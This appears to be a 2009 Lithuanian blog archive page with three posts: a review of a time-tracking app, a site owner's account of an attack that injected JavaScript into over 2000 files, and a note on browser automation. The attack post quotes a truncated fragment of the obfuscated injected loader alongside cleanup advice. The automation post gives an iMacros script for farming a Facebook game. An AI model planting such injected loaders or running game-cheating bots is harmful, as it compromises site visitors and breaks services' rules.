Prenumeruok RSS

Straipsniai sukurti 2009.12

TimeEdition – lengvai valdoma statistika apie jūsų darbą

Vienas iš metodų apmokestinti klientą yra valandinis įkainis ir kiekvienam skirtingam darbui dažnai taikomas skirtingas įkainis. Tokia apmokėjimo sistema gali būti taikoma tiek programavimo, dizaino ar tarkim advokatūros, teisininko paslaugoms. Paprastai (jei pasirašyta sutartis) gale mėnesio siunčiama ataskaita apie suteiktas paslaugas ir pagal ją išrašoma sąskaita faktūra.

Vienas iš paprasčiausių būdų tai realizuoti – naudoti kokią nors programinę įrangą. Visai neseniai atradau Time Edition.  Trumpai apie savybes:

  • Ji veikia Windows, MacOsX, Linux sistemai.
  • Kiekvienas darbas skirstomas pagal tris lygmenis: klientas, kliento projektas, užduotys
  • Užduotys yra bendros visiems klientams/projektams tik norimus galima paslėpti. Kiekviena užduotis turi jūsų numatytą valandinį įkainį.
  • Ataskaitos yra gan paprastos, kurios gali būti filtruojamos pagal minėtus tris lygmenis bei laiko intervalą. Norimą ataskaitą galima tiesiog eksportuoti ir taip paruošti gražią ataskaitą klientui
  • Susiejimas su iCal, Outlook bei Google kalendoriumi

Dažnai pradedantiems laisvai samdomiems programuotojams iškyla klausimas kiek apmokestinti savo darbą. O atsakymas paprastas: praleistą laiką (ar planuojamą) darbui padauginate iš savo nustatyto įkainio ir gaunate tinkamą darbui sumą.

Vienas sunkiausių dalykų tokiuose sistemose – pripratimas ir disciplina. Jei nedirbate komandoje, tokia paprasta programa – pagalbininkė yra tikras lobis. Skanaus naudojimo.

Jei pas jus įsilaužė į svetainę

Šiandien užsukęs į savo svetainę pamačiau, kad ji neveikia. Kadangi aš prieš tai tikrai nieko nekenčiau. Prisijungęs prie serverio per FTP pastebėjau, kad įterptas failo gale kodas:

/*GNU GPL*/ try{window.onload = function(){var Xs1ya4t7ajb13i = document.createElement(‘script’);Xs1ya4t7ajb13i.setAttribute(‘type’, ‘text/javascript’);[.. ir t.t. ..] catch(e) {}

Ir toks pakeitimas tikrai ne vienas, pakeista virš 2000 failų. Atakuojami failai (*.js, index.php(phtml|html|htm), main.php(phtml|html|htm). Visą failų sąrašą galima gauti pas adminus.

Gavęs sąrašą failų iš admino matosi, kad buvo panaudotas vos ne visas BOT tinklas, nes prisijungimai buvo daromi daugiau ne 10 (tingiu skaičiuoti) kompiuterių iš skirtingų tinklų.

Ką tokiu atveju daryti?

  • Visų pirma pasikeisti FTP slaptažodžius
  • Žinoma, naikinti kodus (nesmagus užsiėmimas)
  • Pasitikrinti virusus savo kompe (ar ten kur yra jūsų prisijungimai)
  • Ką dar siūlote?

Išnaudokime automatinį veiksmų vykdymą

Automatinius veiksmus naršyklėje galima išnaudoti web programų/puslapių testavimui, nustatytų veiksmų eigos vykdymas ar tarkim simuliuoti žaidimų veiksmus (cheatinti)

Viena iš sunkiausių užduočių kuriant bet kokią programinę įrangą (tas pats yra ir web svetaines) yra testavimas. Priklausomai nuo poreikių testuojama tiek rankiniu tiek automatiniu būdu, O tai kartu yra ir sudėtingas ir monotoninis darbas. Automatinis testavimas žymiai pagreitina ir supaprastina visą testavimo procesą.

Bet kurio testavimo esmė gauti teisingus rezultatus su kontroliniais duomenimis. Tai gali vykti tiek programiniame lygmenyje (į kurį veltis dabar nesiruošiame), tiek interfeiso. Tarkim jums reikia ištestuoti e-parduotuvės pirkimo mechanizmą. Papildžius e-parduotuvę papildomais moduliais (ar atnaujinus tam tikrus programinius kodus) rezultatas turi nesikeisti, paprastai tariant neturi sugriūti sistema. Tad automatinis skriptas įdeda į krepšelį nustatytas prekes, patenka į krepšelį ir jį patvirtina ir taip nueinama iki pat galutinio atsiskaitymo. Jei visi kontroliniai punktai teisingi – vadinasi viskas veikia teisingai.

Keletą programų pasižaidimui veikiančių firefox naršyklėje: SeleniumiMacros .

Kaip pavyzdį pateiksiu kuo tai naudinga paprastam vartotojui su iMacros (iš facebook’e žaidimo  Startfleet Commander). Tarkim yra galimybė, kas tris minutes atlikti misiją resursams rinti. Pats optimaliausias būdas surinkti kuo daugiau resursų – vykdyti kuo daugiau misijų. Pasinaudojus tokia programa galima pasidaryti programėlę

VERSION BUILD=6251204 RECORDER=FX
TAB T=1
FRAME F=2
TAG POS=44 TYPE=SPAN ATTR=TXT:Start
TAG POS=44 TYPE=SPAN ATTR=TXT:Start
TAG POS=44 TYPE=SPAN ATTR=TXT:Start
TAG POS=44 TYPE=SPAN ATTR=TXT:Start
TAG POS=44 TYPE=SPAN ATTR=TXT:Start
TAG POS=44 TYPE=SPAN ATTR=TXT:Start
TAG POS=44 TYPE=SPAN ATTR=TXT:Start
WAIT SECONDS = 160

Tarkim ši programėlė paspaudžia tą patį mygtuką 7 kartus ir palaukia reikiamą sekundžių kiekį. Paleidus programėlę ciklu gauname norimą efektą. Paleidžiame atskiram ir einam pailsėt, pramogauti ar paprasčiausiai dirbam tai ką reikia :)